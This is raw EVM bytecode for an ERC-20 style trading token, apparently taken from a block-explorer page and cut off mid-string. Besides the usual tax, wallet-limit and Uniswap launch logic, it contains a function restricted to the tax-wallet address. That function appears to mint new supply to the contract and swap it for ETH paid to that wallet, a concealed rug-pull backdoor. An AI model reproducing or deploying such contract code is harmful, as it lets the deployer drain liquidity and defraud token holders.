ffffffffffffffff1614155b15611b1857611b156064611b07600b54600d541015611af457600754611af8565b6009545b8561220890919063ffffffff16565b61228290919063ffffffff16565b90505b6000611b2330610717565b9050601460159054906101000a900460ff16158015611b8f5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015611ba75750601460169054906101000a900460ff165b8015611bb4575060115481115b8015611bc45750600c54600d5410155b15611c0057611be6611be184611bdc846012546122cc565b6122cc565b611f23565b60004790506000811115611bfe57611bfd4761219c565b5b505b505b6000811115611d0657611c5d81600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122e590919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611cfd91906125c0565b60405180910390a35b611d5882600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461234390919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611dff611db1828461234390919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122e590919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611ea4848661234390919063ffffffff16565b604051611eb191906125c0565b60405180910390a350505050565b6000838311158290611f07576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611efe9190612480565b60405180910390fd5b5060008385611f16919061318e565b9050809150509392505050565b6001601460156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611f5b57611f5a612add565b5b604051908082528060200260200182016040528015611f895781602001602082028036833780820191505090505b5090503081600081518110611fa157611fa0612b0c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612048573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061206c91906128f7565b816001815181106120805761207f612b0c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506120e730601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461135b565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161214b9594939291906131c2565b600060405180830381600087803b15801561216557600080fd5b505af1158015612179573d6000803e3d6000fd5b50505050506000601460156101000a81548160ff02191690831515021790555050565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612204573d6000803e3d6000fd5b5050565b600080830361221a576000905061227c565b60008284612228919061321c565b9050828482612237919061328d565b14612277576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161226e90613330565b60405180910390fd5b809150505b92915050565b60006122c483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061238d565b905092915050565b60008183116122db57826122dd565b815b905092915050565b60008082846122f49190612b3b565b905083811015612339576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123309061339c565b60405180910390fd5b8091505092915050565b600061238583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ebf565b905092915050565b600080831182906123d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123cb9190612480565b60405180910390fd5b50600083856123e3919061328d565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561242a57808201518184015260208101905061240f565b60008484015250505050565b6000601f19601f8301169050919050565b6000612452826123f0565b61245c81856123fb565b935061246c81856020860161240c565b61247581612436565b840191505092915050565b6000602082019050818103600083015261249a8184612447565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006124d2826124a7565b9050919050565b6124e2816124c7565b81146124ed57600080fd5b50565b6000813590506124ff816124d9565b92915050565b6000819050919050565b61251881612505565b811461252357600080fd5b50565b6000813590506125358161250f565b92915050565b60008060408385031215612552576125516124a2565b5b6000612560858286016124f0565b925050602061257185828601612526565b9150509250929050565b60008115159050919050565b6125908161257b565b82525050565b60006020820190506125ab6000830184612587565b92915050565b6125ba81612505565b82525050565b60006020820190506125d560008301846125b1565b92915050565b6000806000606084860312156125f4576125f36124a2565b5b6000612602868287016124f0565b9350506020612613868287016124f0565b925050604061262486828701612526565b9150509250925092565b600060ff82169050919050565b6126448161262e565b82525050565b600060208201905061265f600083018461263b565b92915050565b6000806040838503121561267c5761267b6124a2565b5b600061268a85828601612526565b925050602061269b85828601612526565b9150509250929050565b6000602082840312156126bb576126ba6124a2565b5b60006126c9848285016124f0565b91505092915050565b6126db816124c7565b82525050565b60006020820190506126f660008301846126d2565b92915050565b600060208284031215612712576127116124a2565b5b600061272084828501612526565b91505092915050565b600080604083850312156127405761273f6124a2565b5b600061274e858286016124f0565b925050602061275f858286016124f0565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061279f6020836123fb565b91506127aa82612769565b602082019050919050565b600060208201905081810360008301526127ce81612792565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061280f8261262e565b915061281a8361262e565b92508282026128288161262e565b915080821461283a576128396127d5565b5b5092915050565b600061284c8261262e565b91506128578361262e565b9250828201905060ff8111156128705761286f6127d5565b5b92915050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b60006128ac6017836123fb565b91506128b782612876565b602082019050919050565b600060208201905081810360008301526128db8161289f565b9050919050565b6000815190506128f1816124d9565b92915050565b60006020828403121561290d5761290c6124a2565b5b600061291b848285016128e2565b91505092915050565b600060408201905061293960008301856126d2565b61294660208301846126d2565b9392505050565b6000819050919050565b6000819050919050565b600061297c6129776129728461294d565b612957565b612505565b9050919050565b61298c81612961565b82525050565b600060c0820190506129a760008301896126d2565b6129b460208301886125b1565b6129c16040830187612983565b6129ce6060830186612983565b6129db60808301856126d2565b6129e860a08301846125b1565b979650505050505050565b600081519050612a028161250f565b92915050565b600080600060608486031215612a2157612a206124a2565b5b6000612a2f868287016129f3565b9350506020612a40868287016129f3565b9250506040612a51868287016129f3565b9150509250925092565b6000604082019050612a7060008301856126d2565b612a7d60208301846125b1565b9392505050565b612a8d8161257b565b8114612a9857600080fd5b50565b600081519050612aaa81612a84565b92915050565b600060208284031215612ac657612ac56124a2565b5b6000612ad484828501612a9b565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000612b4682612505565b9150612b5183612505565b9250828201905080821115612b6957612b686127d5565b5b92915050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612ba4816124c7565b82525050565b6000612bb68383612b9b565b60208301905092915050565b6000602082019050919050565b6000612bda82612b6f565b612be48185612b7a565b9350612bef83612b8b565b8060005b83811015612c20578151612c078882612baa565b9750612c1283612bc2565b925050600181019050612bf3565b5085935050505092915050565b6000612c48612c43612c3e846124a7565b612957565b6124a7565b9050919050565b6000612c5a82612c2d565b9050919050565b6000612c6c82612c4f565b9050919050565b612c7c81612c61565b82525050565b600060a082019050612c9760008301886125b1565b612ca46020830187612983565b8181036040830152612cb68186612bcf565b9050612cc56060830185612c73565b612cd260808301846125b1565b9695505050505050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612d386024836123fb565b9150612d4382612cdc565b604082019050919050565b60006020820190508181036000830152612d6781612d2b565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612dca6022836123fb565b9150612dd582612d6e565b604082019050919050565b60006020820190508181036000830152612df981612dbd565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612e5c6025836123fb565b9150612e6782612e00565b604082019050919050565b60006020820190508181036000830152612e8b81612e4f565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612eee6023836123fb565b9150612ef982612e92565b604082019050919050565b60006020820190508181036000830152612f1d81612ee1565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612f806029836123fb565b9150612f8b82612f24565b604082019050919050565b60006020820190508181036000830152612faf81612f73565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60008201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b60006130386049836123fb565b915061304382612fb6565b606082019050919050565b600060208201905081810360008301526130678161302b565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b60006130a46019836123fb565b91506130af8261306e565b602082019050919050565b600060208201905081810360008301526130d381613097565b9050919050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b6000613110601a836123fb565b915061311b826130da565b602082019050919050565b6000602082019050818103600083015261313f81613103565b9050919050565b600061315182612505565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203613183576131826127d5565b5b600182019050919050565b600061319982612505565b91506131a483612505565b92508282039050818111156131bc576131bb6127d5565b5b92915050565b600060a0820190506131d760008301886125b1565b6131e46020830187612983565b81810360408301526131f68186612bcf565b905061320560608301856126d2565b61321260808301846125b1565b9695505050505050565b600061322782612505565b915061323283612505565b925082820261324081612505565b91508282048414831517613257576132566127d5565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061329882612505565b91506132a383612505565b9250826132b3576132b261325e565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b600061331a6021836123fb565b9150613325826132be565b604082019050919050565b600060208201905081810360008301526133498161330d565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613386601b836123fb565b915061339182613350565b602082019050919050565b600060208201905081810360008301526133b581613379565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200bd2d4fbf99a27b1e9005e837efc3d008b50a79ce1404a782ced07dc358f979764736f6c63430008130033

Deployed Bytecode

0x60806040526004361061012e5760003560e01c8063751039fc116100ab578063a9059cbb1161006f578063a9059cbb146103aa578063bf474bed146103e7578063c876d0b914610412578063c9567bf91461043d578063d2ddfa7714610454578063dd62ed3e1461047d57610135565b8063751039fc146102f45780637d1db4a5146102fe5780638da5cb5b146103295780638f9a55c01461035457806395d89b411461037f57610135565b8063313ce567116100f2578063313ce5671461023557806351bc3c851461026057806352f7c9881461027757806370a08231146102a0578063715018a6146102dd57610135565b806306fdde031461013a578063095ea7b3146101655780630faee56f146101a257806318160ddd146101cd57806323b872dd146101f857610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f6104ba565b60405161015c9190612480565b60405180910390f35b34801561017157600080fd5b5061018c6004803603810190610187919061253b565b6104f7565b6040516101999190612596565b60405180910390f35b3480156101ae57600080fd5b506101b7610515565b6040516101c491906125c0565b60405180910390f35b3480156101d957600080fd5b506101e261051b565b6040516101ef91906125c0565b60405180910390f35b34801561020457600080fd5b5061021f600480360381019061021a91906125db565b610525565b60405161022c9190612596565b60405180910390f35b34801561024157600080fd5b5061024a6105fe565b604051610257919061264a565b60405180910390f35b34801561026c57600080fd5b50610275610607565b005b34801561028357600080fd5b5061029e60048036038101906102999190612665565b6106a4565b005b3480156102ac57600080fd5b506102c760048036038101906102c291906126a5565b610717565b6040516102d491906125c0565b60405180910390f35b3480156102e957600080fd5b506102f2610760565b005b6102fc6108b3565b005b34801561030a57600080fd5b5061031361094b565b60405161032091906125c0565b60405180910390f35b34801561033557600080fd5b5061033e610951565b60405161034b91906126e1565b60405180910390f35b34801561036057600080fd5b5061036961097a565b60405161037691906125c0565b60405180910390f35b34801561038b57600080fd5b50610394610980565b6040516103a19190612480565b60405180910390f35b3480156103b657600080fd5b506103d160048036038101906103cc919061253b565b6109bd565b6040516103de9190612596565b60405180910390f35b3480156103f357600080fd5b506103fc6109db565b60405161040991906125c0565b60405180910390f35b34801561041e57600080fd5b506104276109e1565b6040516104349190612596565b60405180910390f35b34801561044957600080fd5b506104526109f4565b005b34801561046057600080fd5b5061047b600480360381019061047691906126fc565b610f0f565b005b34801561048957600080fd5b506104a4600480360381019061049f9190612729565b6112cc565b6040516104b191906125c0565b60405180910390f35b60606040518060400160405280600a81526020017fea9fbcc68eea9fbcc68e00000000000000000000000000000000000000000000815250905090565b600061050b610504611353565b848461135b565b6001905092915050565b60125481565b6000600e54905090565b6000610532848484611524565b6105f38461053e611353565b6105ee856040518060600160405280602881526020016133bd60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105a4611353565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ebf9092919063ffffffff16565b61135b565b600190509392505050565b60006009905090565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610648611353565b73ffffffffffffffffffffffffffffffffffffffff161461066857600080fd5b600061067330610717565b905060008111156106885761068781611f23565b5b600047905060008111156106a05761069f8161219c565b5b5050565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106e5611353565b73ffffffffffffffffffffffffffffffffffffffff161461070557600080fd5b81600881905550806009819055505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610768611353565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107ec906127b5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108f4611353565b73ffffffffffffffffffffffffffffffffffffffff161461091457600080fd5b600e54600f81905550600e546010819055506006600a60096109369190612804565b6109409190612841565b60ff16600981905550565b600f5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60105481565b60606040518060400160405280600a81526020017fea9fbcc68eea9fbcc68e00000000000000000000000000000000000000000000815250905090565b60006109d16109ca611353565b8484611524565b6001905092915050565b60115481565b600560009054906101000a900460ff1681565b6109fc611353565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a80906127b5565b60405180910390fd5b60148054906101000a900460ff1615610ad7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ace906128c2565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b5b30601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600e5461135b565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610bc8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bec91906128f7565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c75573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c9991906128f7565b6040518363ffffffff1660e01b8152600401610cb6929190612924565b6020604051808303816000875af1158015610cd5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cf991906128f7565b601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610d8230610717565b600080610d8d610951565b426040518863ffffffff1660e01b8152600401610daf96959493929190612992565b60606040518083038185885af1158015610dcd573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610df29190612a08565b505050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610e94929190612a5b565b6020604051808303816000875af1158015610eb3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ed79190612ab0565b506001601460166101000a81548160ff02191690831515021790555060016014806101000a81548160ff021916908315150217905550565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f50611353565b73ffffffffffffffffffffffffffffffffffffffff1614610f7057600080fd5b6000600267ffffffffffffffff811115610f8d57610f8c612add565b5b604051908082528060200260200182016040528015610fbb5781602001602082028036833780820191505090505b5090503081600081518110610fd357610fd2612b0c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561107a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061109e91906128f7565b816001815181106110b2576110b1612b0c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505081600e60008282546110fe9190612b3b565b92505081905550600e54600f81905550600e5460108190555081600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111669190612b3b565b9250508190555081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401611296959493929190612c82565b600060405180830381600087803b1580156112b057600080fd5b505af11580156112c4573d6000803e3d6000fd5b505050505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036113ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c190612d4e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611439576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143090612de0565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161151791906125c0565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611593576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158a90612e72565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611602576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f990612f04565b60405180910390fd5b60008111611645576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163c90612f96565b60405180910390fd5b600061164f610951565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156116bd575061168d610951565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611c02576116ff60646116f1600a54600d5410156116de576006546116e2565b6008545b8561220890919063ffffffff16565b61228290919063ffffffff16565b9050600560009054906101000a900460ff161561188e57601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117c25750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561188d5743600460003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611848576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183f9061304e565b60405180910390fd5b43600460003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156119395750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561198f5750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611a4a57600f548211156119d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119d0906130ba565b60405180910390fd5b601054826119e685610717565b6119f09190612b3b565b1115611a31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2890613126565b60405180910390fd5b600d6000815480929190611a4490613146565b91905055505b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611ad357503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611b1857611b156064611b07600b54600d541015611af457600754611af8565b6009545b8561220890919063ffffffff16565b61228290919063ffffffff16565b90505b6000611b2330610717565b9050601460159054906101000a900460ff16158015611b8f5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015611ba75750601460169054906101000a900460ff165b8015611bb4575060115481115b8015611bc45750600c54600d5410155b15611c0057611be6611be184611bdc846012546122cc565b6122cc565b611f23565b60004790506000811115611bfe57611bfd4761219c565b5b505b505b6000811115611d0657611c5d81600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122e590919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611cfd91906125c0565b60405180910390a35b611d5882600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461234390919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611dff611db1828461234390919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122e590919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611ea4848661234390919063ffffffff16565b604051611eb191906125c0565b60405180910390a350505050565b6000838311158290611f07576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611efe9190612480565b60405180910390fd5b5060008385611f16919061318e565b9050809150509392505050565b6001601460156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611f5b57611f5a612add565b5b604051908082528060200260200182016040528015611f895781602001602082028036833780820191505090505b5090503081600081518110611fa157611fa0612b0c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612048573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061206c91906128f7565b816001815181106120805761207f612b0c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506120e730601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461135b565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161214b9594939291906131c2565b600060405180830381600087803b15801561216557600080fd5b505af1158015612179573d6000803e3d6000fd5b50505050506000601460156101000a81548160ff02191690831515021790555050565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612204573d6000803e3d6000fd5b5050565b600080830361221a576000905061227c565b60008284612228919061321c565b9050828482612237919061328d565b14612277576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161226e90613330565b60405180910390fd5b809150505b92915050565b60006122c483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061238d565b905092915050565b60008183116122db57826122dd565b815b905092915050565b60008082846122f49190612b3b565b905083811015612339576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123309061339c565b60405180910390fd5b8091505092915050565b600061238583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ebf565b905092915050565b600080831182906123d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123cb9190612480565b60405180910390fd5b50600083856123e3919061328d565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561242a57808201518184015260208101905061240f565b60008484015250505050565b6000601f19601f8301169050919050565b6000612452826123f0565b61245c81856123fb565b935061246c81856020860161240c565b61247581612436565b840191505092915050565b6000602082019050818103600083015261249a8184612447565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006124d2826124a7565b9050919050565b6124e2816124c7565b81146124ed57600080fd5b50565b6000813590506124ff816124d9565b92915050565b6000819050919050565b61251881612505565b811461252357600080fd5b50565b6000813590506125358161250f565b92915050565b60008060408385031215612552576125516124a2565b5b6000612560858286016124f0565b925050602061257185828601612526565b9150509250929050565b60008115159050919050565b6125908161257b565b82525050565b60006020820190506125ab6000830184612587565b92915050565b6125ba81612505565b82525050565b60006020820190506125d560008301846125b1565b92915050565b6000806000606084860312156125f4576125f36124a2565b5b6000612602868287016124f0565b9350506020612613868287016124f0565b925050604061262486828701612526565b9150509250925092565b600060ff82169050919050565b6126448161262e565b82525050565b600060208201905061265f600083018461263b565b92915050565b6000806040838503121561267c5761267b6124a2565b5b600061268a85828601612526565b925050602061269b85828601612526565b9150509250929050565b6000602082840312156126bb576126ba6124a2565b5b60006126c9848285016124f0565b91505092915050565b6126db816124c7565b82525050565b60006020820190506126f660008301846126d2565b92915050565b600060208284031215612712576127116124a2565b5b600061272084828501612526565b91505092915050565b600080604083850312156127405761273f6124a2565b5b600061274e858286016124f0565b925050602061275f858286016124f0565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061279f6020836123fb565b91506127aa82612769565b602082019050919050565b600060208201905081810360008301526127ce81612792565b9050919050565b7f4e487b710000000000000000000000000000000000000000000000000